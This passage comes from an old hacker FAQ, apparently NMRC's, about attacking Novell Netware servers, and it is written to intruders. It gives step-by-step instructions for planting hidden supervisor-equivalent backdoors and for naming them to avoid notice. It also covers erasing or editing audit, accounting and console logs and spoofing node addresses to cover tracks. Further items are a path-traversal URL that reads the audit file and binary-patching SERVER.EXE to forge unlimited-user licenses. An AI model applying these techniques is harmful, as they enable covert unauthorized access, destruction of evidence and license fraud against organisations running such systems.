As stated elsewhere in this FAQ, running a BINDFIX on Netware 3.x made a copy of the bindery files in SYS:SYSTEM. To get that 4.11 backup file, you need to run the equivalent utility from the console. And it is very simple.
If possible, wait until no one is logged in, as it will be noticable. During this process no one can log in, although users already logged in should be okay.
UNLOAD CONLOG (duh)
Choose the option to prepare for an upgrade.
This process creates a complete backup of NDS and the login scripts, and puts it in SYS:SYSTEM. The file is called BACKUP.DS. Use the problem with FTP.NLM to get it, or simply load up FTP.NLM if it isn't running.
25.27 Are there any problems with Novell's Groupwise?
There is some concern about the ability to proxy another user's mailbox and calendar with Groupwise version 5.2. This attack seems to exclude those with admin rights. The hacker is unable to read the user's files, but he can send email representing the hacker as the user. NMRC is investigating this issue and will be sure to post the results.
25.28 Are there any problems with Netware's Macintosh namespace?
A hacker can make changes to the resource fork files without having modify rights. If write rights are removed, the files are secure, but nothing can be added to the directory.
25.29 What's the story with buffer overflows on Netware?
Buffer overflows do exist on Netware. Most buffer overflow exploits try to get the CPU to execute arbitrary code to gain higher levels of access to a system. Even though Novell says Netware NLMs run in protected memory and that problems with NLMs should not bother other NLMs, basically all Netware buffer overflows simply abend the server. This is the basis for many Denial of Service attacks against Netware.
|» 24.0 Netware Logging and Backdoors|
24.1 How do I leave a backdoor for Netware?|
Once you are in, you want to leave a way back with supe equivalency. You can use SUPER.EXE, written for the express purpose of allowing the non-supe user to toggle on and off supe equivalency. If you use the cheesy way in (previous question), you turn onthe toggle before the admin removes your supe equivalency. If you gain access to a supe equivalent account, give Guest supe equivalency and then login as Guest and toggle it on.
Now get back in as the original supe account and remove the supe equivalency. Now Guest can toggle on supe equivalency whenever it's convenient.
Of course Guest doesn't have to be used, it could be another account, like an account used for e-mail administration or an e-mail router, a gateway's account, you get the idea.
Now SUPER.EXE is not completely clean. Running the Security utility or Bindfix will give away that an account has been altered at the bindery level, but the only way for an admin to clear the error is to delete and rebuild the account.
24.2 What is the rumored "backdoor" in NDS?
The rumored backdoor in NDS exists - to an extent. The rumor is that there is a way to set up a backdoor into a system in NDS that is completely hidden from everyone and everything. There IS a way to get real close to this, although how "hidden" it is remains to be seen. One catch - you need full access to NDS i.e. Admin access to set it up. But if you can get Admin's password or access to a user with Admin or equivalent access then you can put in a backdoor that may go unnoticed for months, or perhaps never be discovered. Here's how to set it up:
Get logged in as Admin or equivalent.
In NWADMIN highlight an existing container.
Create a new container inside this container.
Create a user inside this new container. No home directory.
Give this user full Trustee Rights to their own user object.
Give this user full Trustee Rights to the new container.
Make this user security equivalent to Admin.
Modify the ACL for the new user so they can't be seen.
Adjust the Inherit Rights Filter on the new container so no one can see it.
Now this technique can be used by the paranoid admin that wants to give another user full access to a container, and this user wants to restrict access to this container. To prevent this user from forgetting their password (and making a section of the tree unmanageable or worse, disappear) an admin will use similiar techniques.
I have not been able to fully test this but it looks completely invisible to the average LAN admin. This does require an above average knowledge of NDS to set up, so most administrators will not even know how to look for this user.
Let's say you installed your backdoor at the XYZ Company, put your container inside the MIS container and called it BADBOY. Your backdoor is named BACKDOOR. Login like this:
Now you will show up in the normal tools that show active connections on a server, so naming your backdoor "BACKDOOR" is probably not a great idea. Think of a name that might look like an automated attachment, and only use it when you think you won't be noticed.
If the site has Kane Security Analyst, they can find the backdoor.
It has come to our attention that there is now a tool from Novell Consutling's called "HOBJLOC"(hidden object locator) which may reveal the hidden object discussed above.
24.3 What is the bindery backdoor in Netware 4.x?
In developing Pandora, I discovered that the first user object in an NDS tree is a bindery object called Supervisor. This object gets its password set during install. To login, simply use the account name Supervisor. Early versions of DS.NLM do NOT assign a property to this object to even ALLOW you to set up Intruder Detection! Using the Intruder utility with Pandora v3.0, you can specifically attack this user account. Once logged in most administrative tools will not see it. An administrator cannot delete this account because an administrator cannot get to this account to delete it from NetAdmin or NwAdmin.
Bindery context is not required to use this object.
If an administrator creates a regular NDS account called Supervisor, this will defeat access to this object.
For more information on this, check out <http://www.nmrc.org/project/pandora/inside.html>.
24.4 Where are the common log files in Netware?
There are several. Here is a list with their location and their purposes:
File Server Error Log - This log file is located at SYS:SYSTEM\SYS$ERR.LOG and is typically written to by the operating system. It is an ascii text file, and can be written to by anyone with read/write access to SYS:SYSTEM. It typically contains info like bindery open and closes, certain NLMs writing info messages, and of interest to hackers: intruder lockouts, remote console access attempts (failed or successful), and other security-related console alerts. Hackers should edit this file if they have hacked an account with access to SYS:SYSTEM.
Volume Error Log - This is a plain text file located on the root of every volume and is named VOL$LOG.ERR. Hackers should not pay attention to it unless you are mounting and unmounting volumes and don't want a record of it. Typically volume errors are written here.
Transaction Tracking Error Log - Transaction Tracking is a method of backing out data that was being written to the volume and the server suddenly stopped writing this data (like a crash of the server). It is plain text, found on the root of any Transaction Tracking defined volume, and is named TTS$LOG.ERR. Usually only the SYS volume (and possibly a volume with a SQL database on it, Sybase comes to mind) is set up for Transaction Tracking. If you're bouncing the server and wish to cover your tracks, this along with the other logs needs to be looked at.
Console Monitor Log - If a server is running the CONLOG.NLM, everything that rolls by on the main system console gets written to a log file. If you think your activities might write info to the console (especially if you've RCONSOLE'd in and are typing in commands). You may wish to edit this file. CONLOG.NLM will have to be unloaded first, as it has an exclusive lock on the log file, located at SYS:SYSTEM\CONSOLE.LOG.
Accounting - If accounting has been turned on on a Netware 3.x server, all logins and logouts will be time stamped into the SYS:SYSTEM\NET$ACCT.DAT file. For details on accounting, see the next couple of questions.
Auditing - Auditing in Netware 4.x and greater writes its data to files located in _NETWARE\*.CAF files. Normally found under SYS:, the _NETWARE directory is a hidden directory, but it also exists on other volumes.
24.5 What is Accounting?
Accounting is Novell's pain in the butt way to control and manage access to the server in a way that is "accountable". The admin set up charge rates for blocks read and written, service requests, connect time, and disk storage. The account "pays" for the service by being given some number, and the accounting server deduces for these items. How the account actually pays for these items (departmental billing, cash, whatever) you may or may not want to know about, but the fact that it could be installed could leave a footprint that you've been there.
Any valid account, including non-supe accounts, can check to see if Accounting is turned on. Simply run SYSCON and try to access Accounting, if you get a message that Accounting is not installed, then guess what?
Since it is a pain to administer, many sys admins will turn it on simply to time-stamp each login and logout, track intruders, and include the node address and account name of each of these items.
24.6 How do I defeat Accounting?
Turn it off. And spoof your node address. Here's the steps -
Spoof your address. Use a supe account's typical node address as your own.
If you are using a backdoor, activate it with SUPER.EXE.
Delete Accounting by running SYSCON, selecting Accounting, Accounting Servers, hitting the delete key, and answering yes when asked if you wish to delete accounting. The last entry in the NET$ACCT.DAT file will be your login time-stamped with the spoofed node address.
Now do what you will in the system. Use a different account if you like, it won't show up in the log file.
When done, login with the original account, run SYSCON and re-install Accounting. Immediately logout, and the next line in the NET$ACCT.DAT file will be your logout, showing a login and logout with the same account name, nice and neat.
If you can't spoof the address (some LAN cards don't allow it or require extra drivers you may not have), just turn off Accounting and leave it off or delete the NET$ACCT.DAT file located in the SYS:SYSTEM directory.
It should be noted that to turn off and on Accounting you need supe equivalent, but you don't need supe equivalence to spoof the address.
24.7 What is Intruder Detection?
Intruder Detection is Novell's way of tracking invalid password attempts. While this feature is turned off by default, most sites practicing any type of security will at minimum turn this feature on. There are several parameters to Intruder Detection. First, there is a setting for how long the server will remember a bad password attempt. Typically this is set to 30 minutes, but can be as short as 10 minutes of as long as 7 days. Then there is a setting for how many attempts will lockout the account. This is usually 3 attempts, but can be as short as 1 or as many as 7. Finally is the length the account is locked out. The default is 30 minutes but it can range from 10 minutes to 7 days.
When an Intruder Detection occurs, the server beeps and a time-stamped message is displayed on the System Console with the account name that is now locked out and the node address from where to attempt came from. This is also written to the File Server Error Log. A Supervisor or equivalent can unlock the account before it frees itself up, and the File Server Error Log can also be erased by a Supervisor or equivalent.
In a large shop, it is not unusual to see Intruder Lockouts even on a daily basis, and forgetting a password is a typical regular-user thing to do. Intruder Lockouts on Supervisor or equivalent account is usually noticed.
24.8 How do I check for Intruder Detection?
The easiest way to check for Intruder Detection is to play with a valid account that you know the password of. Try the wrong password several times. If Intruder Detection is on, the account will be locked out once you try to get back in with the correct password.
24.9 What are station/time restrictions?
Time restrictions can be placed on an account to limit the times in which an account can be logged in. In the account is already logged in and the time changes to a restricted time, the account is logged out. The restriction can be per weekday down to the half hour. That means that if an admin wants to restrict an account from logging in except on Monday through Friday from 8-5, it can be done. Only Supervisor and equivalents can alter time restrictions. Altering the time at the workstation will not get you around time restrictions, only altering time at the server can change the ability to access.
Station restriction place a restriction on where an account can be used. Restrictions can be to a specific token ring or ethernet segment, and can be specific down to the MAC layer address, or node address. The only way around a station restriction at the node address is to spoof the address from a workstation on the same segment or ring as the address you are spoofing. Like time restrictions, only Supervisor and equivalents can alter station restrictions.
Of course you can remove station and time restrictions in SYSCON if you are a Supe equivalent.
24.10 How can I tell if something is being Audited in Netware 4.x?
Use RCONSOLE and do a directory scan of SYS:_NETWARE. There will be some binary files named NET$AUDT.* if Auditing has been used. Old Audit files will be named NET$AUDT.AO0, .AO1, etc. A current Auditing file will be named NET$AUDT.CAF. If these files do not exist, no Auditing is being or has been done. To check to see if Auditing is currently active, try to open the current Auditing file like this:
LOAD EDIT SYS:_NETWARE\NET$AUDT.CAF
If it pulls up something (with a little garbage) then Auditing is currently turned off. If you get an error stating that NET$AUDT.CAF doesn't exist and do you wish to create it, that means the file is being hend open and Auditing is currently active on SOMETHING (remember, the EDIT.NLM normally handles open files pretty well, but trying to open a file already open in SYS:_NETWARE always gets this error).
Also, if the site is running Novell's Web Server software, use a web browser and try http://www.target.com/scripts/convert.bas?../../_netware/net$audt.caf and if you DO NOT receive an error, Auditing is or was active.
24.11 How can I remove Auditing if I lost the Audit password?
If the Auditor forgets the password, try a simple wipe and reload. Hello, hello, you seemed to have fainted...
You can try this although there is no guarantee it will work, it is just a theory. You see, the Auditing files are located in SYS:_NETWARE. As long as they are there and Auditing active, even deleting NDS and recreating it will not turn off Auditing. If you wish you can delete and rebuild SYS: which will get it. Try these listed items if you are desperate. I have tried them in the NMRC lab and got this to work a couple of times -- but once I trashed the server and NDS. One time it didn't work at all. But here it is:
- Use RCONSOLE's directory scan and get the exact names of the Audit
files, you know NET$AUDT.CAF but also files with an extension of .$AF
are Auditing files, too.
- Use the techniques in 06-2 and determine exactly which files are
being held open by this particular server for Auditing.
- Try booting up the server and running a sector editor.
- Search the drive for the file names you found.
- Change all occurrences of these names, save changes, and boot up.
- If that didn't do the trick, try booting up the server using a 3.x
SERVER.EXE and try and get to SYS:_NETWARE that way. Then delete the
- If THAT doesn't work, use repeated calls to the SYS:_NETWARE's
directory table (using the APIs) and either delete or change the
afore mentioned files.
Gee, maybe a "simple wipe and reload" is easier...
24.12 What is interesting about Netware 4.x's licensing?
It is possible to load multiple licenses and combine their total number of users. For example, if you are in one of those Novell CNE classes where they give you a 2 user 4.1 license, you can get everyone's CD in class and combine them on one server. If you get 10 CDs you have a 20 user license. I know of no limit to the maximum number of licenses and user limit, except for hardware limitations supporting it. This means you could load more than one copy of 1000 user Netware 4.1 on a server (assuming you have unique copies, not the same copy twice).
itsme has done some poking around with his tools, and has the following to say regarding the SERVER.EXE that comes with Netware 4:
what's inside server.exe:
0001d7c7 server.nlm type=07
000d319d "Link" 000d504a
000d31a5 unicode.nlm type=00 (ordinary NLM)
000d504a "Link" 000d6e9c
000d5052 dsloader.nlm type=00 (ordinary NLM)
000d6e9c "Link" 000db808
000d6ea4 timesync.nlm type=00 (ordinary NLM)
000db808 polimgr.nlm type=0c ('hidden' NLM)
by editing the binary of server, and changing the type of polimgr.nlm
from 0c to 00 (offset 007a or 000db882 in server.exe)
it becomes unhidden.
hidden NLM's are protected from debugging with the netware debugger.
polimgr.nlm manages the license files, after it reads the file,
it checks with some kind of signature function whether it is a valid file
the function doing the checking can be made to always return OK, then
you can create an any number of users license.
24.13 What is the Word Perfect 5.1 trick when running Netware 3.x over DOS?
It has been noted that when running Netware 3.x, specifically 3.12, over DOS, no windows at all, and you start Word Perfect version 5.1, enter a last name, then hit F5, you get access to the entire disk. NMRC is investigating and will keep you posted as to our results.